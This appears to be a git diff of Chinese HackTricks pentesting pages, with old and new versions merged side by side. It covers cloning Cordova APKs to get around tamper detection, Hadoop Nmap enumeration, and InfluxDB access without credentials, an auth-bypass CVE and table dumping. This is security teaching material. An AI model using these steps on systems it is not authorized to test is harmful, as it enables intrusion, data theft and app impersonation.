* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,96 +1,77 @@
# Cordova 应用程序 # Cordova 应用
<details> <details>
<summary><strong>从零开始学习 AWS 黑客攻击成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果您想**HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
信息取自帖子 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58) **有关更多详细信息,请查看 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**。这是一个摘要:
## 基本信息 Apache Cordova 以使用 **JavaScript、HTML 和 CSS** 开发 **混合应用** 而闻名。它允许创建 Android 和 iOS 应用程序;然而,它缺乏保护应用程序源代码的默认机制。与 React Native 相反Cordova 默认不编译源代码这可能导致代码篡改漏洞。Cordova 使用 WebView 渲染应用程序,即使编译为 APK 或 IPA 文件后,仍会暴露 HTML 和 JavaScript 代码。相比之下React Native 使用 JavaScript VM 执行 JavaScript 代码,提供更好的源代码保护。
Apache Cordova 是一个流行的框架,允许您使用 **JavaScript、HTML 和 CSS** 创建 **混合应用程序**Android 和 iOS ### 克隆 Cordova 应用
Cordova 的一个主要问题是它 **没有默认的方法来保护** 应用程序的 **源代码**,不像 react-native 那样。Cordova 应用程序没有默认的方法来编译它,这使得代码篡改变得 **容易**。Cordova 应用程序使用 WebView 来使用 HTML 和 JS 渲染应用程序,即使在编译成 APK 或 IPA 之后也会泄露源代码,而 react native 使用 JavaScript VM 来运行 JavaScript 代码 在克隆 Cordova 应用之前,请确保已安装 NodeJS 以及其他先决条件,如 Android SDK、Java JDK 和 Gradle。官方 Cordova [文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) 提供了这些安装的全面指南
### 克隆 Cordova 应用程序 <a href="#8f50" id="8f50"></a> 假设有一个名为 `Bank.apk` 的示例应用,包名为 `com.android.bank`。要访问源代码,请解压 `bank.apk` 并转到 `bank/assets/www` 文件夹。该文件夹包含应用程序的完整源代码,包括 HTML 和 JS 文件。应用程序的配置可以在 `bank/res/xml/config.xml` 中找到。
要创建 Cordova 应用程序,我们需要安装 NodeJS。除了 NodeJS我们还需要安装其他一些东西来完成构建过程如 Android SDK、Java JDK 和 Gradle。您可以按照[官方文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building)的要求列表进行操作。 要克隆应用程序,请按照以下步骤操作:
以这个例子为例,我们可以假设原始应用程序的名称是 `Bank.apk`,包名是 `com.android.bank`
解压 `bank.apk` 并打开 `bank/assets/www` 文件夹。我们可以查看 **Cordova 应用程序的完整源代码**。所有 HTML 和 JS 代码都可以用来创建应用程序的克隆。我们还可以在 `bank/res/xml/config.xml` 中找到应用程序的配置文件。
现在我们可以创建一个新的 Cordova 应用程序项目:
```bash ```bash
npm install -g cordova@latest npm install -g cordova@latest
cordova create bank-new com.android.bank Bank cordova create bank-new com.android.bank Bank
cd bank-new cd bank-new
``` ```
现在我们需要将所有文件和文件夹从 `bank/assets/www` 复制到 `bank-new/www` 将`bank/assets/www`目录中的内容复制到`bank-new/www`目录,但不包括`cordova_plugins.js`、`cordova.js`、`cordova-js-src/`以及`plugins/`目录。
当我们复制源代码时,我们需要排除一些文件和文件夹,如 `cordova_plugins.js, cordova.js, cordova-js-src/, plugins/`。我们可以复制所有文件和文件夹,不包括上述提到的 在创建新的Cordova项目时需要指定平台Android或iOS。若要克隆一个Android应用程序请添加Android平台。请注意Cordova的平台版本和Android API级别是不同的。有关平台版本和支持的Android API的详细信息请参考Cordova的[文档](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)
当我们创建一个新的Cordova项目时我们需要指明应用是为Android还是iOS。由于我们正在克隆Android应用我们需要为其添加一个Android平台。在Cordova中我们有平台版本每个版本都有不同的特性和对Android API或Android版本的支持 要确定适当的Cordova Android平台版本请检查原始应用程序的`cordova.js`文件中的`PLATFORM_VERSION_BUILD_LABEL`
Android API和Cordova Android平台版本都是不同的。您可以[查看](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)平台版本列表及其对Android API的支持。 设置平台后,安装所需的插件。原始应用程序的`bank/assets/www/cordova_plugins.js`文件列出了所有插件及其版本。请按照以下示例逐个安装每个插件:
要添加Cordova Android平台我们需要找出应用最初使用的是哪个版本。如果您使用不同的版本您可能会遇到问题因为我们正在使用相同的源代码来克隆应用。您可以打开 `cordova.js` 文件并搜索 `PLATFORM_VERSION_BUILD_LABEL` 来找到应用使用的版本。
\
现在我们已经添加了Android平台支持我们可以添加应用所需的所有插件。在原始应用 `bank/assets/www/cordova_plugins.js` 中,我们可以找到应用使用的所有插件的列表。我们需要逐一安装这些插件。在 `cordova_plugins.js` 文件中搜索 `module.exports.metadata`。我们也可以看到所有插件及其版本。
<figure><img src="https://miro.medium.com/v2/resize:fit:1124/1*Hap3DmxS6-1apNj5RfpC3g.png" alt="Cordova Plugins" height="570" width="562"><figcaption><p>Cordva 插件</p></figcaption></figure>
我们需要使用以下命令逐一安装所有插件
```bash ```bash
cd bank-new cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1 cordova plugin add cordova-plugin-dialogs@2.0.1
``` ```
{% hint style="warning" %} 如果一个插件在 npm 上不可用,可以从 GitHub 获取:
如果在npm上找不到插件请在Github上搜索
```bash ```bash
cd bank-new cd bank-new
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
``` ```
{% endhint %} 确保在编译之前满足所有先决条件:
要编译应用程序,我们需要确保已经安装了所有必需的条件。
```bash ```bash
cd bank-new cd bank-new
cordova requirements cordova requirements
``` ```
一旦我们准备好所有设置我们就可以构建apk。 要构建APK请使用以下命令
```bash ```bash
cd bank-new cd bank-new
cordova build android — packageType=apk cordova build android — packageType=apk
``` ```
上述构建命令将创建一个启用了调试方法的apk这允许我们使用Google Chrome对应用程序进行调试。在安装apk之前请确保对apk进行签名。如果应用程序具有代码篡改检测功能除非没有设置特定配置否则将被绕过 这个命令生成一个启用调试选项的APK通过Google Chrome方便调试。在安装之前签署APK是至关重要的特别是如果应用程序包含代码篡改检测机制
### 自动化工具 ### 自动化工具
[**MobSecco**](https://github.com/Anof-cyber/MobSecco)一个自动化克隆Android应用程序完整过程的工具 对于那些希望自动化克隆过程的人,**[MobSecco](https://github.com/Anof-cyber/MobSecco)** 是一个推荐的工具。它简化了Android应用程序的克隆过程简化了上述步骤
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧** * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**
</details> </details>

View file

@ -1,51 +1,42 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
**信息取自书籍** [**网络安全评估 第三版**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)
# **基本信息** # **基本信息**
Apache Hadoop是一个开源框架支持使用计算机集群分布式存储和处理大型数据集。存储由Hadoop分布式文件系统HDFS处理处理则通过使用MapReduce和其他应用程序例如Apache Storm、Flink和Spark通过YARN进行 Apache Hadoop是一个开源框架用于在计算机集群之间分布存储和处理大型数据集主要使用Hadoop分布式文件系统HDFS进行存储以及MapReduce、Apache Storm、Flink和Spark等其他应用程序进行处理通过YARN进行管理。为了与这些服务进行交互提供了一组Nmap脚本每个脚本与特定端口和用途相关联尽管在文档编写时指出Hadoop在Metasploit框架中缺乏支持
![](<../.gitbook/assets/image (139).png>) - **Hadoop的Nmap脚本**:
- **`hadoop-jobtracker-info端口50030`**
- **`hadoop-tasktracker-info端口50060`**
- **`hadoop-namenode-info端口50070`**
- **`hadoop-datanode-info端口50075`**
- **`hadoop-secondary-namenode-info端口50090`**
图15-1. Hadoop 2.0架构
您可以使用下表中列出的Nmap脚本查询MapReduce和HDFS服务包括默认端口的详细信息。在撰写本文时Metasploit不支持Hadoop。
| **脚本名称** | **端口** | **目的** |
| ------------------------------ | -------- | ----------------------------------------------------------------- |
| hadoop-jobtracker-info | 50030 | 从MapReduce作业和任务跟踪服务检索信息 |
| hadoop-tasktracker-info | 50060 | |
| hadoop-namenode-info | 50070 | 从HDFS名称节点检索信息 |
| hadoop-datanode-info | 50075 | 从HDFS数据节点检索信息 |
| hadoop-secondary-namenode-info | 50090 | 从HDFS次级名称节点检索信息 |
在线提供轻量级Python和Go HDFS客户端。Hadoop默认情况下无需认证即可运行。您可以配置HDFS、YARN和MapReduce服务以使用Kerberos。
需要注意的是,**Hadoop在默认设置下没有身份验证**。但是为了增强安全性可以配置将Kerberos与HDFS、YARN和MapReduce服务集成在一起。
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,33 +1,34 @@
# 8086 - InfluxDB 进行渗透测试 # 8086 - InfluxDB 渗透测试
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。 \
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和 **自动化工作流**,利用全球 **最先进** 的社区工具。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>从零开始学习 AWS 黑客攻击,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 渗透测试,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
其他支持 HackTricks 的方式: 支持 HackTricks 的其他方式:
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
## 基本信息 ## 基本信息
**InfluxDB** 是由 InfluxData 公司开发的一个开源**时间序列数据库**TSDB **InfluxDB** 是由 InfluxData 公司开发的开源 **时间序列数据库**TSDB
**时间序列数据库TSDB** 是一个软件系统,它针对存储和**提供时间序列**通过时间和值的相关对进行了优化 **时间序列数据库TSDB** 是一种针对存储和通过时间和值的相关对提供优化的软件系统
时间序列数据集与其他数据集相比**相对较大且统一**——通常由时间戳和相关数据组成。时间序列数据集也可能在不同表中的数据条目之间具有较少的关系,并且不需要无限期地存储条目。时间序列数据集的独特属性意味着时间序列数据库可以在存储空间和性能上提供**显著的改进,相比于通用数据库**。例如,由于时间序列数据的统一性,**专门的压缩算法**可以提供比设计用于处理不太统一数据的常规压缩算法更好的改进。时间序列数据库还可以**配置为定期删除旧数据**,与设计用于无限期存储数据的常规数据库不同。特殊的数据库索引也可以提高查询性能。 (来自[这里](https://en.wikipedia.org/wiki/Time_series_database))。 时间序列数据集与其他数据集相比 **相对较大且均匀**通常由时间戳和相关数据组成。时间序列数据集在不同表中的数据条目之间的关系较少,不需要无限期地存储条目。时间序列数据集的独特属性意味着时间序列数据库可以在存储空间和性能方面提供 **显著的改进**。例如,由于时间序列数据的统一性,**专门的压缩算法** 可以比设计用于不太统一数据的常规压缩算法提供改进。时间序列数据库还可以 **定期删除旧数据**,而常规数据库设计为无限期存储数据。特殊的数据库索引也可以提供查询性能的提升。 (来源:[这里](https://en.wikipedia.org/wiki/Time\_series\_database))。
**默认端口**8086 **默认端口**8086
``` ```
@ -36,29 +37,29 @@ PORT STATE SERVICE VERSION
``` ```
## 枚举 ## 枚举
从渗透测试者的角度来看,这是另一个可能存储敏感信息的数据库,因此了解如何导出所有信息是很有意义的。 从渗透测试员的角度来看,这是另一个可能存储敏感信息的数据库,因此了解如何转储所有信息是很有趣的。
### 认证 ### 认证
InfluxDB 可能需要认证,也可能不需要 InfluxDB可能需要认证也可能不需要
```bash ```bash
# Try unauthenticated # Try unauthenticated
influx -host 'host name' -port 'port #' influx -host 'host name' -port 'port #'
> use _internal > use _internal
``` ```
如果您**收到类似**这样的错误:`ERR: unable to parse authentication credentials`,这意味着它**需要一些凭据**。 如果你遇到类似这样的错误:`ERR: unable to parse authentication credentials`,这意味着它**需要一些凭据**。
``` ```
influx username influx password influx_pass influx username influx password influx_pass
``` ```
存在一个influxdb的漏洞允许绕过认证:[**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) 存在一个漏洞,允许绕过身份验证:[**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
### 手动枚举 ### 手动枚举
此示例信息取自[**此处**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/)。 这个示例的信息来自[**这里**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/)。
#### 显示数据库 #### 显示数据库
找到的数据库是 _telegraf_ 和 _\_internal_你会在任何地方找到这个 找到的数据库是 _telegraf_ 和 _\_internal_你会在任何地方找到这个
```bash ```bash
> show databases > show databases
name: databases name: databases
@ -67,9 +68,9 @@ name
telegraf telegraf
_internal _internal
``` ```
#### 显示表/测量 #### 显示表/测量
正如 [**InfluxDB 文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) 所解释的SQL **测量值** 可以被视为 SQL 表。正如上面的 **测量值** 名称所暗示的,每个测量值包含的信息都与特定实体有关 [**InfluxDB文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/)解释说在InfluxDB中**测量**可以与SQL表并行。这些**测量**的命名方式表明了它们各自内容的相关性,每个都包含与特定实体相关的数据
```bash ```bash
> show measurements > show measurements
name: measurements name: measurements
@ -109,7 +110,7 @@ inodes_used integer
``` ```
#### 转储表 #### 转储表
最后,您可以通过以下操作**转储表** 最后,您可以执行类似以下操作来**转储表**
```bash ```bash
select * from cpu select * from cpu
name: cpu name: cpu
@ -119,7 +120,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101 1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
``` ```
{% hint style="warning" %} {% hint style="warning" %}
在进行身份验证绕过测试时,注意表名需要用双引号括起来,例如:`select * from "cpu"` 在进行身份验证绕过测试时,注意表名需要用双引号括起来,例如:`select * from "cpu"`
{% endhint %} {% endhint %}
### 自动化身份验证 ### 自动化身份验证
@ -128,22 +129,22 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
``` ```
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\ 使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,20 +1,22 @@
# 500/udp - IPsec/IKE VPN 渗透测试 # 500/udp - 渗透测试 IPsec/IKE VPN
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 上**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持 HackTricks 的其他方式:
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 如果您想在 HackTricks 中看到您的 **公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。** * 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
